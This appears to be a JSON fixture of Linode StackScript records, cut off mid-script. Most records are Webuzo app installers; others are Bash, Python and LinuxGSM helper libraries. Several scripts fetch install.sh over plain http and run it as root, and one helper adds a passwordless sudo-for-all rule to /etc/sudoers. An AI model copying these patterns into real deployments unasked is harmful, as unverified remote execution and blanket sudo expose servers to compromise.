"logo_url": "", "images": ["linode/alpine3.12", "linode/alpine3.13", "linode/alpine3.15"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Revision Note 1", "script": "#!/bin/bash\n\nScript", "user_defined_fields": []}, {"id": 9235, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Croogo powered by Webuzo", "description": "Croogo is a free, open source, content management system for PHP. It is powered by CakePHP MVC framework. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure Croogo and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Croogo powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install Croogo and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About Croogo :\n# Croogo is a free, open source, content management system for PHP. It is powered by CakePHP MVC framework. \n###########################################################################################################\n\n# Install Croogo Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=443&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling Croogo and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, Croogo has been successfully installed\"\necho \" \"\necho \"You can now configure Croogo and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 20, "username": "nbebout", "user_gravatar_id": "5dd8fb66331617dbbd6f90a10cdd47ac", "label": "Fedora/CentOS Bash Library", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.632bit", "linode/centos5.6", "linode/fedora1132bit"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "", "script": "#!/bin/bash\n\n###########################################################\n# System\n###########################################################\n\nfunction system_update {\n yum -y update\n}\n\nfunction system_primary_ip {\n # returns the primary IP assigned to eth0\n echo $(ifconfig eth0 | awk -F: ''/inet addr:/ {print $2}'' | awk ''{ print $1 }'')\n}\n\nfunction get_rdns {\n # calls host on an IP address and returns its reverse dns\n if [ ! -e /usr/bin/host ]; then\n yum -y install bind-utils > /dev/null\n fi\n echo $(host $1 | awk ''/pointer/ {print $5}'' | sed ''s/\\.$//'')\n}\n\nfunction get_rdns_primary_ip {\n # returns the reverse dns of the primary IP assigned to this system\n echo $(get_rdns $(system_primary_ip))\n}\n\nfunction install_basics {\n yum install -y jwhois rsync openssh-clients wget\n}", "user_defined_fields": []}, {"id": 9236, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "WideImage powered by Webuzo", "description": "WideImage is an object-oriented library for image manipulation.\r\n\r\nThe library provides a simple way to loading, manipulating and saving images in the most common image formats. \r\n\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure WideImage and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "WideImage powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install WideImage and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About WideImage :\n# WideImage is an object-oriented library for image manipulation.\n# The library provides a simple way to loading, manipulating and saving images in the most common image formats.\n###########################################################################################################\n\n# Install WideImage Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=360&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling WideImage and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, WideImage has been successfully installed\"\necho \" \"\necho \"You can now configure WideImage and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 1193748, "username": "jrzavaschi1992", "user_gravatar_id": "6c0262d5482846284b510b579df19fdd", "label": "StackScript Python Library", "description": "Does nothing on its own. Do not deploy directly.\r\n\r\nA collection of useful Python functions to be included in other StackScripts.", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu14.04lts", "linode/centos7", "linode/debian8", "linode/fedora22"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import.", "script": "#!/usr/bin/env python\n\n\"\"\"\nPython Library StackScript\n\n\tAuthor: Ricardo N Feliciano \n\tVersion: 1.0.0.0\n\tRequirements:\n\t\t- n/a\n\nThis StackScript is not meant to be directly deployed. Includes a host of\nfunctions to do very common task on a distro, as implemented in Python. The\nfunctions in this library are designed to be run accross the Linode Core\nDistributions:\n\t- Ubuntu\n\t- CentOS\n\t- Debian\n\t- Fedora\n\"\"\"\n\n\nimport crypt\nimport fcntl\nimport logging\nimport os\nimport platform\nimport pwd\nimport socket\nimport subprocess\nimport sys\nimport time\ntry:\n\timport apt\nexcept:\n\ttry:\n\t\timport yum\n\texcept:\n\t\ttry:\n\t\t\timport dnf\n\t\texcept ImportError:\n\t\t\tprint(\"Package manager support was not found.\")\n\t\t\t\n\ndistro = None\n\"\"\"String list: Contains details of the distribution.\"\"\"\n\n\ndef end():\n\t\"\"\"End the StackScript cleanly.\"\"\"\n\t\n\t# Should the StackScripts themselves be removed here at some point?\n\tlogging.info(\"The StackScript has been completed.\")\n\tsubprocess.check_output(''echo \"The StackScript has completed. Press enter to continue.\" | wall -n'', shell=True)\n\n\ndef init():\n\t\"\"\"Start features we consider StackScript standard.\"\"\"\n\t\n\t# Sanity check for CentOS 7 & Fedora 22\n\tif os.path.exists(\"/var/log/stackscript.log\"):\n\t\tsys.exit(1) # StackScript already started once, bail\n\t\n\twith open(\"/etc/profile.d/stackscript.sh\", \"w\") as f:\n\t\tf.write(\"\"\"#!/bin/bash\nif pgrep -f \"python /root/StackScript\" &>/dev/null\nthen\n\techo \"####################################################################\"\n\techo \"#####\"\n\techo \"##### Warning: Your StackScript is still running\"\n\techo \"#####\"\n\techo \"#####\"\n\techo \"##### Please do not make any system changes until it \"\n\techo \"##### completes. Log file is located at: \"\n\techo \"##### /var/log/stackscript.log\"\n\techo \"####################################################################\"\n\techo \" \"\nelse\n\techo \"####################################################################\"\n\techo \"#####\"\n\techo \"##### The StackScript has completed. Enjoy your system.\"\n\techo \"#####\"\n\techo \"#####\"\n\techo \"##### For reference, the logfile is located at: \"\n\techo \"##### /var/log/stackscript.log\"\n\techo \"####################################################################\"\n\techo \" \"\n\trm /etc/profile.d/stackscript.sh\nfi\"\"\")\n\t\n\tlogging_start()\n\n\ndef logging_start(the_file=\"/var/log/stackscript.log\", the_level=logging.INFO):\n\t\"\"\"Turn on logging.\"\"\"\n\t\n\tlogging.basicConfig(filename=the_file, level=the_level)\n\tlogging.info(\"Logging has started. \" + str(time.time()))\n\n\ndef system_detect_distro():\n\t\"\"\"Prepares distro information.\n\t\n\tThis is critical to support the Linode Core Distributions with a single\n\tscript.\n\t\"\"\"\n\tglobal distro\n\n\t# add support for logging\n\t\n\tdistro = dict(zip((''distname'', ''version'', ''codename''),\n\tplatform.linux_distribution(full_distribution_name=0)))\n\t\n\tdistro[''distname''] = distro[''distname''].lower()\n\n\tif distro[''distname''] in (''debian'', ''ubuntu''):\n\t\tdistro[''family''] = \"debian\"\n\telif distro[''distname''] in (''fedora'', ''centos''):\n\t\tdistro[''family''] = \"redhat\"\n\telse:\n\t\traise NotImplementedError(\"This distribution is not supported.\")\n\n\ndef system_IP_get():\n\t\"\"\"Return IPv4 address configured on eth0.\n\t\n\tThis basically is a disgusting hack. Please let me know if you find a\n\tcleaner way to do this.\"\"\"\n\t# add support for logging\n\n\ts = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n\treturn socket.inet_ntoa(fcntl.ioctl(\n\t\ts.fileno(),\n\t\t0x8915, # SIOCGIFADDR\n\t\tstruct.pack(''256s'', \"eth0\")\n\t)[20:24])\n\n\ndef system_IP_rdns(IP):\n\t\"\"\"Get PTR for given IP address.\"\"\"\n\t# add support for logging\n\n\treturn socket.gethostbyaddr(IP)[0]\n\n\ndef system_package_install(package, update_first=True):\n\t\"\"\"Install a package with the appropriate package manager.\"\"\"\n\t# add support for logging\n\n\tif distro is None:\n\t\tsystem_detect_distro()\n\n\tsystem_update() if update_first else None\n\t\n\tif distro[''family''] == \"debian\":\n\t\tos.environ[''DEBIAN_FRONTEND''] = \"noninteractive\"\n\t\tcache = apt.Cache()\n\t\tpkg = cache[package]\n\t\tpkg.mark_install()\n\t\tcache.commit()\n\telif distro[''distname''] == \"centos\":\n\t\tyb = yum.YumBase()\n\t\tyb.conf.assumeyes = True\n\t\tyb.install(name=package)\n\t\tyb.resolveDeps()\n\t\tyb.processTransaction()\n\t\tyb.close()\n\telif distro[''distname''] == \"fedora\":\n\t\tdnfb = dnf.Base()\n\t\tdnfb.conf.assumeyes = True\n\t\tdnfb.read_all_repos()\n\t\tdnfb.fill_sack()\n\t\tdnfb.install(package)\n\t\tdnfb.resolve()\n\t\tdnfb.download_packages(dnfb.transaction.install_set)\n\t\tdnfb.do_transaction()\n\t\tdnfb.close()\n\n\ndef system_update():\n\t\"\"\"Uses the distro''s package manager to update packages.\"\"\"\n\t#add support for logging\n\t\n\tif distro is None:\n\t\tsystem_detect_distro()\n\t\n\tif distro[''family''] == \"debian\":\n\t\tcache = apt.Cache()\n\t\tcache.update()\n\t\tcache.open(None)\n\t\tcache.upgrade()\n\t\tcache.commit()\n\telif distro[''distname''] == \"centos\":\n\t\tyb = yum.YumBase()\n\t\tyb.conf.assumeyes = True\n\t\tyb.update()\n\t\tyb.resolveDeps()\n\t\tyb.processTransaction()\n\t\tyb.close()\n\telif distro[''distname''] == \"fedora\":\n\t\tdnfb = dnf.Base()\n\t\tdnfb.conf.assumeyes = True\n\t\t#dnfb.read_all_repos() #updates were failing with this line\n\t\tdnfb.fill_sack()\n\t\tdnfb.upgrade_all()\n\t\tdnfb.resolve()\n\t\tdnfb.do_transaction()\n\t\tdnfb.close()\n\n\ndef user_add(username, password, groups):\n\t\"\"\"Creates a Linux user account.\n\t\n\tArgs:\n\t\tusername (String): A Linux username.\n\t\tpassword (String): Password for the user.\n\t\tgroups (tuple): Groups that the user should be added to.\n\t\n\tReturns:\n\t\tbool: True if successful, False otherwise.\n\t\"\"\"\n\n\t# need to implement logging\n\t# need to implement group functionality\n\n\treturn subprocess.call([''useradd'', ''-m'', ''-p'', crypt.crypt(password, \"22\"), ''-s'', ''/bin/bash'', username])\n\n\ndef user_add_pubkey(username, key):\n\t\"\"\"Adds the public SSH key to the specified user.\"\"\"\n\t# need to implement logging\n\t\n\tif username != \"root\":\n\t\tos.seteuid(pwd.getpwnam(username).pw_uid)\n\t\tos.setegid(pwd.getpwnam(username).pw_gid)\n\t\n\tpubkey_dir = os.path.join(os.getenv(\"HOME\"), \".ssh\")\n\t\n\tif not os.path.isdir(pubkey_dir):\n\t\tos.makedirs(pubkey_dir)\n\t\n\twith open(os.path.join(pubkey_dir, \"authorized_keys\")) as f:\n\t\tf.write(key)\n\t\n\tif username != \"root\":\n\t\tos.seteuid(0)\n\t\tos.setegid(0)", "user_defined_fields": []}, {"id": 9237, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "HelpDEZk powered by Webuzo", "description": "HelpDEZk is a powerfull software that manages requests/incidents. It has all the needed requirements to an efficient workflow management of all processes involved in service execution. This control is done for internal demands and also for outsourced services.\r\n\r\nHelpDEZk can be used at any company''s area, serving as an support to the shared service center concept, beyond the ability to log all the processes and maintain the request''s history, it can pass it through many approval levels.\r\n\r\nHelpDEZk can put together advanced managing resources with an extremely easy use. Simple and intuitive screens make the day-by-day easier for your team, speeding up the procedures and saving up a lot of time. It is developped in objects oriented PHP language, with the MVC architecture and uses the templates system SMARTY. For the javascripts, JQUERY is used. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure HelpDEZk and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "HelpDEZk powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install HelpDEZk and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About HelpDEZk :\n# HelpDEZk is a powerfull software that manages requests/incidents.\n# It has all the needed requirements to an efficient workflow management of all processes \n# involved in service execution. This control is done for internal demands and also for outsourced services.\n###########################################################################################################\n\n# Install HelpDEZk Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=457&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling HelpDEZk and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, HelpDEZk has been successfully installed\"\necho \" \"\necho \"You can now configure HelpDEZk and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 10261, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "SEOTOASTER powered by Webuzo", "description": "SEOTOASTER is the most advanced SEO content management system out of the box, so your website or Ecommerce store performs to the maximum of its abilities when it comes to organic rankings.\r\n\r\nSEOTOASTER is the most advanced SEO CMS & Ecommerce web site builder.\n\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n\nYou can get a Webuzo License here\nhttp://www.webuzo.com/pricing\n\nPath to Installation Logs : /root/webuzo-install.log\n\nInstructions\nOn completion of the installation process, access http://your-ip:2004 to configure SEOTOASTER and Softaculous Webuzo initially.\n\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "SEOTOASTER powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install SEOTOASTER and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About SEOTOASTER :\n# SEOTOASTER is the most advanced SEO CMS & Ecommerce web site builder.\n###########################################################################################################\n\n# Install SEOTOASTER Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=490&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling SEOTOASTER and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, SEOTOASTER has been successfully installed\"\necho \" \"\necho \"You can now configure SEOTOASTER and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 1193749, "username": "jrzavaschi1992", "user_gravatar_id": "6c0262d5482846284b510b579df19fdd", "label": "Linux GSM Helper", "description": "Linux GSM One-Click Helper", "ordinal": 0, "logo_url": "", "images": ["linode/debian9", "linode/debian10"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "", "script": "#!/bin/bash\n\n# Linux GSM install\n\nfunction linuxgsm_install {\n\necho Configuring IP address\nIPADDR=`hostname -I | awk ''{print$1}''`\n\n# Add a user for the game server\necho Setting up a user\nadduser --disabled-password --gecos \"\" \"$GAMESERVER\"\necho \"$GAMESERVER ALL=(ALL) NOPASSWD: ALL\" >> /etc/sudoers\n\n# Download and the LinuxGSM script\necho Downloading LinuxGSM\n# TESTING\ncd /home/\"$GAMESERVER\"/\n# OLD: wget -4 https://linuxgsm.com/dl/linuxgsm.sh -P /home/\"$GAMESERVER\"/\nwget -O linuxgsm.sh https://linuxgsm.sh -P /home/\"$GAMESERVER\"/\nchmod +x /home/\"$GAMESERVER\"/linuxgsm.sh\nchown -R \"$GAMESERVER\":\"$GAMESERVER\" /home/\"$GAMESERVER\"/*\n\n# Run the GSM script\necho running LinuxGSM script\nsu - \"$GAMESERVER\" -c \"/home/$GAMESERVER/linuxgsm.sh $GAMESERVER\"\n\n}\n\n\nfunction game_install {\n\n# Installing the Server\necho Installing the Server\nsu - \"$GAMESERVER\" -c \"/home/$GAMESERVER/$GAMESERVER auto-install\"\nif [[ \"$GAMESERVER\" =~ (^boserver$|^bb2server$|^bmdmserver$| \\\n^cssserver$|^csgoserver$|^dodsserver$|^emserver$| \\\n^gmodserver$|^insserver$|^nmrihserver$|^tf2server$| \\\n^tuserver$|^zpsserver$) ]]; then\n echo -e \"\\ngslt=$GSLT\" >> /home/\"$GAMESERVER\"/lgsm/config-lgsm/\"$GAMESERVER\"/\"$GAMESERVER\".cfg\nelse\n echo No Gameserver Login Token Needed\nfi\n\n}\n\n\nfunction service_config {\n\n# Add cron jobs for updating the gameserver and linuxgsm. Monitor will ensure that the gameserver is running and restart if needed.\necho Adding game update cron jobs\ncrontab -l > gamecron\necho \"*/5 * * * * su - $GAMESERVER -c ''/home/$GAMESERVER/$GAMESERVER monitor'' > /dev/null 2>&1\" >> gamecron\necho \"0 23 * * * su - $GAMESERVER -c ''/home/$GAMESERVER/$GAMESERVER update'' > /dev/null 2>&1\" >> gamecron\necho \"30 23 * * * su - $GAMESERVER -c ''/home/$GAMESERVER/$GAMESERVER update-functions'' > /dev/null 2>&1\" >> gamecron\ncrontab gamecron\nrm gamecron\n\n# Create systemd service file\n\ncat << END > /etc/systemd/system/$GAMESERVER.service\n[Unit]\nDescription=$GAMESERVER\n\n[Service]\nUser=$GAMESERVER\nType=forking\nExecStart=/bin/bash /home/$GAMESERVER/$GAMESERVER start\nExecStop=/bin/kill -2 $MAINPID\n\n[Install]\nWantedBy=multi-user.target\nEND\n\n}\n\n## Adding these for Valheim launch, will eventually replace the above code, but for now, we added ''v_'' in front of functions\n\nfunction v_linuxgsm_install {\n local -r gameserver=\"$1\" username=\"$2\"\n\n su - \"$username\" -c \"\n # Download and the LinuxGSM script\n wget -O linuxgsm.sh https://linuxgsm.sh\n chmod +x linuxgsm.sh\n # Run the GSM script\n /home/$username/linuxgsm.sh $gameserver\n \"\n}\n\nfunction v_linuxgsm_game_install {\n local -r gameserver=\"$1\" username=\"$2\"\n\n # Installing the Server\n su - \"$username\" -c \"/home/$username/$gameserver auto-install\"\n if [[ \"$gameserver\" =~ (^boserver$|^bb2server$|^bmdmserver$| \\\n ^cssserver$|^csgoserver$|^dodsserver$|^emserver$| \\\n ^gmodserver$|^insserver$|^nmrihserver$|^tf2server$| \\\n ^tuserver$|^zpsserver$) ]]; then\n echo -e \"\\ngslt=$GSLT\" >> \"/home/$username/lgsm/config-lgsm/$gameserver/$gameserver.cfg\"\n else\n echo No gameserver Login Token Needed\n fi\n}\n\nfunction v_linuxgsm_service_config {\n local -r gameserver=\"$1\" username=\"$2\"\n\n # Add cron jobs for updating the game server and LinuxGSM\n # Monitor will ensure that the gameserver is running and restart if needed\n crontab -l > gamecron\n\n echo \"*/5 * * * * su - \"$username\" -c ''/home/$username/$gameserver monitor'' > /dev/null 2>&1\" >> gamecron\n echo \"0 23 * * * su - \"$username\" -c ''/home/$username/$gameserver update'' > /dev/null 2>&1\" >> gamecron\n echo \"30 23 * * * su - \"$username\" -c ''/home/$username/$gameserver update-functions'' > /dev/null 2>&1\" >> gamecron\n\n crontab gamecron\n rm gamecron\n\n # Create systemd service file\n cat << EOF > /etc/systemd/system/$gameserver.service\n[Unit]\nDescription=$gameserver\n[Service]\nUser=$username\nType=forking\nExecStart=/bin/bash /home/$username/$gameserver start\nExecStop=/bin/kill -2 \\$MAINPID\n[Install]\nWantedBy=multi-user.target\nEOF\n}\n\nfunction v_linuxgsm_oneclick_install {\n local -r gameserver=\"$1\" username=\"$2\"\n\n v_linuxgsm_install \"$gameserver\" \"$username\"\n v_linuxgsm_game_install \"$gameserver\" \"$username\"\n v_linuxgsm_service_config \"$gameserver\" \"$username\"\n}", "user_defined_fields": []}, {"id": 978965, "username": "meenubediShine", "user_gravatar_id": "ac16f37ccd972a6f698dab5aab1188b2", "label": "Testing Update", "description": "testing Update", "ordinal": 0, "logo_url": "", "images": ["linode/arch", "linode/slackware14.2", "linode/debian10", "linode/alpine3.13"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "yegiu Update", "script": "#!/bin/bash\n\ntesting Update ", "user_defined_fields": []}, {"id": 8470, "username": "ichal", "user_gravatar_id": "632f7c16a5fd3a66b8909e0153856b49", "label": "jibeg", "description": "aa", "ordinal": 0, "logo_url": "", "images": ["linode/centos6.5"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash", "user_defined_fields": []}, {"id": 9238, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Support Incident Tracker powered by Webuzo", "description": "Support Incident Tracker (or SiT!) is a Free Software/Open Source (GPL) web based application which uses PHP and MySQL for tracking technical support calls/emails (also commonly known as a ''Help Desk'' or ''Support Ticket System'').\r\n\r\nManage contacts, sites, technical support contracts and support incidents in one place. Send emails directly from SiT!, attach files and record every communication in the incident log. SiT is aware of Service Level Agreements and incidents are flagged if they stray outside of them. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure Support Incident Tracker and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Support Incident Tracker powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install Support Incident Tracker and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About Support Incident Tracker :\n# Support Incident Tracker (or SiT!) is a Free Software/Open Source (GPL) web based application which uses\n# PHP and MySQL for tracking technical support calls/emails (also commonly known as a ''Help Desk''\n# or ''Support Ticket System'').\n###########################################################################################################\n\n# Install Support Incident Tracker Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=409&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling Support Incident Tracker and Softaculous 